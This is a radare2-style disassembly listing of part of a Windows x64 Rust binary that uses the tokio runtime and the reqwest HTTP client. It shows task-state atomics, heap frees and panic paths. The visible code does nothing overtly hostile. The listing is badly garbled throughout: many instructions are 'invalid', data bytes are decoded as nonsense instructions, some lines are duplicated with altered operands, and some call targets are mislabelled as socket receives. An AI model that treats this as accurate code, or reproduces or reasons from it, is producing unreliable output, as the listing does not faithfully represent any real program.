fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
test bl, bl
je 0x14013c3bc
mov rdi, qword [rbp + 0x518]
mov rax, qword [rdi]
jmp 0x14013c2b6
add eax, 0x8b480000
invalid
test rcx, rcx
test ecx, ecx
js 0x14013c4cc
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rdi], rcx
cmpxchg dword [rdi], ecx
je 0x14013c2ef
test al, 1
je 0x14013c4b2
test ah, dh
add dword [rax], eax
invalid
test ah, dh
add dword [rax], eax
add byte [rax + 0x47850f20], ch
add dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
invalid
test al, 0x20
jne 0x14013c40d
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
jne 0x14013c2a0
cmp rcx, 0x3f
jbe 0x14013c498
add byte [rax], al
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rdi], rcx
jne 0x14013c2b6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14013c471
add al, ch
cmp eax, 0x48fffffb
mov eax, dword [rbp + 0x518]
mov rax, qword [rax + 0x2e0]
test rax, rax
je 0x14013c39d
mov qword [rbp + 0x518], rdi
lea rcx, [rdi + 0x20]
call fcn.14013be80
mov rax, qword [rbp + 0x518]
mov rax, qword [rax + 0x2e0]
test rax, rax
je 0x14013c39d
mov rcx, qword [rbp + 0x518]
mov rcx, qword [rcx + 0x2e8]
mov eax, ebp
add al, byte [rax]
add bh, bh
push rax
invalid
mov eax, ebp
add al, byte [rax]
add bh, bh
push rax
sbb byte [rax - 0x75], cl
test dword [rax], ebx
add eax, 0x8b4c0000
clc
mov rax, qword [rbp + 0x518]
mov r8, qword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14013c471
mov qword [rbp + 0x240], 4
add byte [rax], al
add al, 0
add byte [rax], al
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp + 0x508]
call fcn.14013f750
xor eax, eax
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x40], ecx
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x60], 3
lea rdx, [rbp - 0x60]
lea edx, [rbp - 0x60]
mov rcx, qword [rbp + 0x508]
call fcn.14013f750
mov rsi, qword [rbp + 0x518]
jmp 0x14013c469
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x508]
add eax, 0x2be80000
xor eax, dword [rax]
invalid
mov rsi, qword [rbp + 0x518]
mov rax, qword [rsi + 0x28]
xor ecx, ecx
leave
leave
mov qword [rbp + 0x250], rcx
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x248], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x240], 3
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp + 0x508]
call fcn.14013f750
mov rcx, rsi
call 0x14013cfc0
nop
add rsp, 0x5c8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_task_state.rs
lea r8, [0x1401c6308]
mov edx, 0x24
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401c6668]
mov edx, 0x26
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401c6348]
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401c6628]
mov edx, 0x2f
call fcn.140186b70
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
lea rax, [rbp + 0x4f8]
mov qword [rbp + 0x250], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
lea rcx, [rbp + 0x240]
call fcn.1401869b0
ud2
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
add dh, bh
invalid
test al, 8
je 0x14013caa5
test al, 2
jne 0x14013ca1c
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rdx], rcx
jne 0x14013ca00
jmp 0x14013ca38
lea rcx, [rdx + 0x20]
mov qword [rbp - 0x58], 4
lea rdx, [rbp - 0x58]
call fcn.14013f750
mov rdx, qword [rbp + 0x258]
mov rax, 0xffffffffffffffc0
lock xadd qword [rdx], rax
cmp rax, 0x3f
jbe 0x14013cabf
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14013ca9b
lea rcx, [rdx + 0x20]
call fcn.14013be80
mov rax, qword [rbp + 0x258]
mov rax, qword [rax + 0x2e0]
test rax, rax
je 0x14013ca81
mov rcx, qword [rbp + 0x258]
mov rcx, qword [rcx + 0x2e8]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x258]
mov r8, qword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x2f0
pop rbp
ret
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x1401c64a0]
mov edx, 0x2b
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
mov edx, 0x27
call fcn.140186b70
ud2
invalid
and byte [rax - 0x39], cl
test al, 4
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
test al, 0x48
mov dword [rbp + 0x4e8], ecx
invalid
add al, 0
invalid
call 0x18c13ce26
mov dword [rbp + 0x500], eax
mov qword [rbp + 0x500], r8
call fcn.14013f750
mov rsi, qword [rbp + 0x500]
mov esi, dword [rbp + 0x500]
mov esi, dword [rbp + 0x500]
mov rax, qword [rsi + 0x28]
xor ecx, ecx
mov qword [rbp + 0x258], rcx
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x250], 1
mov qword [rbp + 0x248], 3
lea rdx, [rbp + 0x248]
mov rcx, qword [rbp + 0x4e8]
call fcn.14013f750
mov rcx, rsi
add rsp, 0x598
pop rsi
pop rbp
jmp 0x14013cfc0
add byte [rax], al
mov qword [rbp + 0x260], rcx
mov rsi, qword [rbp + 0x500]
mov rcx, qword [rbp + 0x4f8]
jmp 0x14013ce3a
add byte [0x18ffccee8], al
invalid
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x510]
call fcn.14018cd90
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 0x4f0], rdx
lea rax, [0x14013cea7]
add rsp, 0x28
pop rsi
pop rbp
ret
mov dword [rdx + 2], esi
add byte [rdi], cl
or ecx, dword [rdi]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x500]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x2e0]
mov rdx, qword [rax + 0x2e8]
add byte [rax], al
add byte [rax], al
call fcn.140023540
nop
add rsp, 0x28
pop rsi
pop rbp
ret
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x500]
add eax, 0xd2e80000
int3
stc
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
add eax, 0xd2e80000
int3
push rbp
push rsi
push rdi
sub rsp, 0x350
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2c0], 0xfffffffffffffffe
mov rax, qword [rcx]
mov rdx, rax
xor rdx, 3
lock cmpxchg qword [rcx], rdx
jne 0x14013cfe0
test al, 1
je 0x14013d0e1
test al, 2
jne 0x14013d0fb
test al, 8
mov qword [rbp + 0x2b8], rcx
jne 0x14013d020
add rcx, 0x20
mov qword [rbp - 0x58], 4
lea rdx, [rbp - 0x58]
call fcn.14013f750
jmp 0x14013d045
test al, 0x10
je 0x14013d045
mov rcx, qword [rbp + 0x2b8]
add byte [rax], al
mov rax, qword [rcx + 0x2e0]
test rax, rax
je 0x14013d19f
mov rcx, qword [rcx + 0x2e8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdi, qword [rbp + 0x2b8]
add byte [rax], al
lea rsi, [rdi + 0x20]
mov rcx, qword [rdi + 0x20]
mov rdx, rdi
call fcn.140172410
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rbp + 0x2a0], rax
shl rax, 6
neg rax
lock xadd qword [rdi], rax
shr rax, 6
cmp rax, qword [rbp + 0x2a0]
jb 0x14013d115
jne 0x14013d0d5
mov rcx, rsi
call fcn.14013be80
mov rax, qword [rbp + 0x2b8]
mov rax, qword [rax + 0x2e0]
test rax, rax
je 0x14013d0bb
mov rcx, qword [rbp + 0x2b8]
mov rcx, qword [rcx + 0x2e8]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x2b8]
mov r8, qword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x350
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x1401c6388]
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:__prev.is_complete__
sahf
xchg edx, eax
or byte [rax], al
lea r8, [0x1401c63c8]
mov edx, 0x25
call fcn.140186b70
ud2
mov qword [rbp + 0x298], rax
lea rax, [rbp + 0x298]
mov qword [rbp + 0x278], rax
lea rax, [fcn.140013600]
mov qword [rbp + 0x280], rax
lea rcx, [rbp + 0x2a0]
mov qword [rbp + 0x288], rcx
mov qword [rbp + 0x290], rax
lea rax, str.current:___sub:
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x250], 2
mov qword [rbp + 0x268], 0
lea rax, [rbp + 0x278]
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x260], 2
lea rdx, [0x1401c6410]
lea rcx, [rbp + 0x248]
call fcn.1401869b0
ud2
lea rax, str.waker_missing
add eax, 0x88e0a
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 1
lea rax, [0x1401ea218]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
pop rdi
ror byte [rdx], 1
add byte [rax - 0x77], cl
mov r8d, 0xfc0570f
adc dword [rbp - 0x40], eax
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
or byte [rax], al
lea rcx, [rbp - 0x58]
call fcn.1401869b0
ud2
adc byte [rax - 0x75], cl
test dword [rax + 0x48000002], ebp
cmp dword [rax + 8], 0
je 0x14013d045
invalid
invalid
invalid
invalid
mov rax, qword [rbp + 0x2a8]
cmp qword [rax + 0x10], 0x11
jb 0x14013d218
mov rax, qword [rbp + 0x2b0]
mov rax, qword [rax - 8]
mov qword [rbp + 0x2b0], rax
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0x2b0]
add al, byte [rax]
add bh, bh
adc eax, 0x51dfa
add al, byte [rax]
add bh, bh
adc eax, 0x51dfa
jmp 0x14013d045
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x2c8]
add al, ch
xor ebx, edi
add al, 0
add al, ch
xor ebx, edi
add al, 0
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2a8], rdx
test al, 2
add byte [rax], al
lea rax, [0x14013d1d6]
add rsp, 0x20
invalid
and byte [rdi + 0x5e], bl
pop rbp
ret
invalid
invalid
in al, dx
and byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add al, ch
cmp byte [rdi + 2], ch
add byte [rdi], cl
or esp, dword [rsi + 0xf]
invalid
lea ebp, [rdx + 0x80]
call fcn.1401641d0
ud2
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x2a8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b0]
call fcn.140005270
movabs byte [0x20c4834890ffec7f], al
movabs byte [0x20c4834890ffec7f], al
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rax + 0x2e0]
mov rdx, qword [rax + 0x2e8]
call fcn.140023540
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea edi, [rax - 0x17fffffe]
leave
stc
call qword [rax + 0x20c48348]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea edi, [rax - 0x17fffffe]
leave
stc
call qword [rax + 0x20c48348]
pop rdi
pop rsi
pop rbp
ret
sub esp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
mov rdx, qword [rcx]
lea r8, [rdx - 3]
add rdx, 0xfffffffffffffffe
xor eax, eax
cmp r8, 2
clc
add cl, byte [rax + 0xf]
ret 0x8548
invalid
je 0x14013d3d9
pop rbp
clc
add cl, byte [rax + 0xf]
ret 0x8548
cmp rax, 1
jne 0x14013d3d2
cmp qword [rcx + 8], 0
je 0x14013d3d2
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x14013d3d2
adc byte [r8 - 0x7b], cl
sal byte [rax + rax*2 + 0x48], 0x8b
push rcx
sbb byte [rax - 0x77], cl
call 0x188d55ce6
mov qword [rbp - 0x10], rdx
mov rdx, qword [rcx + 0x18]
mov qword [rbp - 0x18], rax
mov rcx, rax
mov qword [rbp - 0x10], rdx
call qword [rdx]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x18]
je 0x14013d3d2
cmp qword [rax + 0x10], 0x11
jb case.0x140132527.40
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax + 0x40c48348], dl
nop
add rsp, 0x40
pop rbp
ret
add rsp, 0x40
pop rbp
jmp fcn.14013bae0
call 0x12c9231fa
call qword [rax + 0x20c48348]
pop rbp
ret
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x210
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x188], 0xfffffffffffffffe
mov rsi, rdx
mov r14, rcx
dec dword [rax - 0x77]
invalid
movzx eax, byte [rcx + 0x298]
lea rcx, [0x1401efa44]
or eax, 0xb25f0
or eax, 0xb25f0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [r14 + 0x299], 1
lea rbx, [r14 + 0x140]
mov rax, qword [r14 + 0x138]
add byte [rcx - 0x77], cl
xchg byte [rax + 1], al
add byte [rax], al
add byte [rcx - 0x77], cl
xchg byte [rax + 1], al
add byte [rax], al
lea rdi, [r14 + 0x148]
mov r8d, 0x138
mov rcx, rdi
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + 0x280]
mov qword [r14 + 0x280], rdi
mov qword [r14 + 0x288], rax
mov qword [r14 + 0x290], rbx
cmp dword [rdi], 2
mov qword [rbp + 0x178], r14
je 0x14013d553
add byte [rcx - 0x77], cl
sahf
nop
add al, byte [rax]
add byte [rbx - 0x76b3fdc1], al
mov ch, 0x78
add dword [rax], eax
add byte [rdi], cl
test byte [rbp + 0x48000000], dl
lea ecx, [rbp + 0xd0]
lea rcx, [rbp + 0xd0]
mov rdx, rdi
mov r8, rsi
call fcn.140124130
invalid
dec dword [rax - 0x75]
mov ebp, 0xd0
cmp rdi, 4
inc dword [rdi + rcx]
test dword [rcx + 1], esi
add byte [rax], al
inc dword [rdi + rcx]
test dword [rcx + 1], esi
add byte [rax], al
mov rcx, qword [rsi]
mov ecx, dword [rsi]
call fcn.1400a6a00
test al, 1
jne 0x14013da2d
mov ecx, eax
shr ecx, 0x10
mov dword [rbp + 0x170], ecx
shr eax, 8
mov dword [rbp + 0x180], eax
add byte [rax], al
add byte [rax], al
mov rdi, qword [rbx]
test rdi, rdi
je 0x14013dadd
mov rax, qword [rdi + 0x30]
test al, 4
jne 0x14013d84e
test al, 8
jne 0x14013d8fa
test al, 8
je 0x14013d962
jmp 0x14013d997
mov rax, qword [rdi + 8]
mov eax, dword [rdi + 8]
mov qword [rdi + 8], 0
test rax, rax
je 0x14013daa9
mov qword [rbp + 0xd0], 3
lea rdx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
lea rcx, [rbp + 0x40]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
pop qword [rax + rax]
pop qword [rax + rax]
mov edi, 3
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x40]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
add byte [rax - 0x77], cl
jge 0x14013d554
add byte [rax - 0x77], cl
jge 0x14013d554
mov byte [r14 + 0x299], 0
mov rsi, qword [r14 + 0x140]
mov qword [rbp + 0x168], 0
test rsi, rsi
mov qword [rbp + 0x180], rsi
je 0x14013da58
mov qword [rbp + 0x40], rsi
lea rax, [rsi + 0x38]
mov qword [rbp + 0x170], rax
lea rcx, [rbp + 0xd0]
lea rdx, [rbp - 0x58]
mov r8d, 0x98
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x38]
cmp rax, 3
je 0x14013d67e
cmp eax, 4
je 0x14013d687
mov rcx, qword [rbp + 0x170]
call fcn.140129390
mov rax, qword [rbp + 0x180]
mov rsi, qword [rax + 0xc8]
cmp qword [rsi + 0x18], 0
je 0x14013d63e
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14013d687
adc ebp, esp
invalid
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x40]
mov r8d, 0x90
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
cmp rdi, 5
mov r14, qword [rbp + 0x178]
jne 0x14013d595
jmp 0x14013da34
lea rcx, [rsi + 0x40]
call fcn.140002410
lea rdx, [rbp + 0xd0]
mov r8d, 0x98
mov rbx, qword [rbp + 0x170]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rbp + 0x180]
mov rax, qword [rdi + 0x30]
nop
mov rcx, rax
test cl, 4
jne 0x14013d75a
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x14013d6b0
test cl, 1
je 0x14013d6e5
mov rcx, qword [rbp + 0x180]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbp + 0xd0], 4
mov rax, qword [rbp + 0x180]
add byte [rax], al
add byte [rax], al
lock dec qword [rax]
jne 0x14013d706
invalid
mov rcx, qword [rbp + 0x40]
call fcn.14012a5c0
mov rsi, qword [rbp + 0x168]
test rsi, rsi
test byte [rdi], 0x84
fld dword [rax]
add byte [rax], al
test byte [rdi], 0x84
fld dword [rax]
add byte [rax], al
mov rax, qword [rsi + 0x30]
nop word [rax + rax]
mov rcx, rax
test cl, 4
jne 0x14013d7dd
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rsi + 0x30], rdx
jne 0x14013d720
and ecx, 5
cmp ecx, 1
jne 0x14013d7dd
mov rax, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14013d7dd
mov rsi, qword [rbx]
mov qword [rbx], 4
cmp rsi, 4
je 0x14013dac3
lea rdx, [rdi + 0x40]
lea rcx, [rbp + 0xd8]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xd0], rsi
lock dec qword [rdi]
dec qword [rdi]
dec qword [rdi]
jne 0x14013d79a
mov rcx, qword [rbp + 0x40]
call fcn.14012a5c0
mov rsi, qword [rbp + 0x168]
test rsi, rsi
je 0x14013d7ef
mov rax, qword [rsi + 0x30]
nop word [rax + rax]
xor byte [rsi + 0xf], ah
invalid
mov rcx, rax
test cl, 4
jne 0x14013d7dd
mov rdx, rcx
mov edx, ecx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rsi + 0x30], rdx
cmpxchg qword [rsi + 0x30], rdx
cmpxchg qword [rsi + 0x30], rdx
jne case.0x14010aa3a.718
and ecx, 5
cmp ecx, 1
jne 0x14013d7dd
mov rax, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rsi]
jne 0x14013d7ef
mov rcx, qword [rbp + 0x168]
call fcn.14012a5c0
add dword [rax], eax
add al, ch
ror ebp, 1
invalid
mov rax, qword [rbp + 0xd0]
cmp rax, 3
je 0x14013d842
invalid
cmp eax, 4
cmp eax, 4
clc
add al, 0x74
lea rcx, [rbp + 0xd0]
je 0x14013d84e
lea rcx, [rbp + 0xd0]
call fcn.140129390
mov rsi, qword [rbp + 0x160]
cmp qword [rsi + 0x18], 0
sbb byte [rax], al
sbb byte [rax], al
je 0x14013d82e
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x14023c258]
xor edx, edx
sar bh, cl
adc eax, 0x517fa
sar bh, cl
adc eax, 0x517fa
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
add bl, ch
invalid
invalid
lea rcx, [rbp + 0xd8]
call fcn.140002410
mov rax, qword [rbp + 0x178]
lea rcx, [rax + 0x148]
mov byte [rax + 1], cl
add byte [rax], al
mov byte [rax + 1], cl
add byte [rax], al
call fcn.14013ddd0
mov rax, qword [rbp + 0x178]
outsd dx, dword [rsi]
add eax, 0x8b480000
test dword [rax + 1], edi
add byte [rax], al
cmp byte [rax + 0x299], 0
je 0x14013d8e2
mov rax, qword [rbp + 0x178]
mov rsi, qword [rax + 0x140]
test rsi, rsi
test esi, esi
add byte [rax - 0x75], cl
mov al, 0x40
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
test esi, esi
div byte [rsi + rbx*2 + 0x48]
mov eax, dword [rbp + 0x178]
je 0x14013d8e2
mov rax, qword [rbp + 0x178]
add rax, 0x140
mov qword [rbp + 0x180], rax
add dword [rax], eax
add byte [rax - 0x75], cl
xor byte [rdi], r9b
xor byte [rdi], cl
invalid
invalid
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xor byte [rdi], r9b
xor byte [rdi], cl
xor byte [rdi], cl
invalid
mov rcx, rax
test cl, 4
invalid
add al, 0x75
invalid
rol dword [rsi*2 - 0x3576b7db], 0x48
add al, 0x75
and eax, 0x48ca8948
mov rdx, rcx
or rdx, 2
or edx, 2
mov rax, rcx
lock cmpxchg qword [rsi + 0x30], rdx
mov cl, 0x56
xor byte [rbp - 0x1a], dh
and ecx, 5
cmp ecx, 1
jne 0x14013d8cd
add dword [rbp + 0xb], esi
mov rax, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rsi]
jne 0x14013d8e2
mov r14, qword [rbp + 0x178]
mov byte [r14 + 0x299], 0
mov cl, 1
xor eax, eax
jmp 0x14013da38
mov rdx, qword [rsi]
mov rcx, qword [rdx + 8]
cmp rcx, qword [rdi + 0x18]
jne 0x14013d938
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdx]
mov r8, qword [rcx]
cmp r8, qword [rdx]
jne 0x14013d938
mov r8, qword [rcx + 8]
cmp r8, qword [rdx + 8]
jne 0x14013d938
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x14013d938
mov rcx, qword [rcx + 0x18]
cmp rcx, qword [rdx + 0x18]
je 0x14013d525
mov rax, qword [rdi + 0x30]
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x14013d940
test al, 4
jne 0x14013da4d
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
sbb r15b, r15b
push rax
invalid
sbb r15b, r15b
push rax
sbb byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rdx
mov rax, qword [rdi + 0x30]
mov eax, dword [rdi + 0x30]
mov eax, dword [rdi + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 8
lock cmpxchg qword [rdi + 0x30], rcx
cmpxchg dword [rdi + 0x30], ecx
cmpxchg dword [rdi + 0x30], ecx
jne 0x14013d980
test al, 4
jne 0x14013d84e
cmp byte [rbp + 0x180], 0
je 0x14013da2d
invalid
add byte [rbx + 0xfe96205], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x14013da07
test eax, eax
jne 0x14013da2d
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
rol esi, cl
add byte [rax], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xfc], 1
mov ecx, dword [rbp + 0x170]
add byte [rax], al
add byte [rax], al
mov byte [rax + 0xfd], cl
mov r14, qword [rbp + 0x178]
mov cl, 3
mov al, 1
mov byte [r14 + 0x298], cl
mov byte [rsi + 0x298], cl
add rsp, 0x210
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lock or qword [rdi + 0x30], 8
jmp 0x14013d84e
lea rcx, str.called__Option::unwrap____on_a__None__value
or al, byte [rax]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_synconeshot.rscalled_after_complete
mov edx, 0x2b
call fcn.140186b70
jmp 0x14013daf5
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingclient.rs
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_implclient.rs
mov edx, 0x23
call fcn.140186f60
jmp 0x14013daf5
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_synconeshot.rscalled_after_complete
mov edx, 0x2b
call fcn.140186b70
jmp 0x14013daf5
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_synconeshot.rscalled_after_complete
mov edx, 0x2b
call fcn.140186b70
ud2
mov dword [rsp + 0x10], edx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x80]
lea rdx, [rbp + 0xd0]
mov r8d, 0x98
mov rcx, qword [rbp + 0x170]
lea esi, [rax + 1]
add byte [rax], al
lea esi, [rax + 1]
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
invalid
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x178]
test dword [rax + 1], edi
add byte [rax], al
cmp byte [rax + 0x299], 0
jne 0x14013dcd1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
invalid
mov rax, qword [rbp + 0x178]
lea rcx, [rax + 0x140]
call fcn.14012a500
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
sub esp, 0x20
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x180]
add byte [rax - 0x75], cl
mov al, cl
add byte [rax], al
add al, ch
invalid
push rdx
in al, dx
call qword [rax + 0x20c48348]
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add byte [rax - 0x75], cl
mov al, cl
add byte [rax], al
add al, ch
invalid
sub esp, 0x20
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0x168]
add al, ch
invalid
enter 0xfffffffffffffffe, 0xffffffffffffff90
add rsp, 0x20
pop rbx
pop rdi
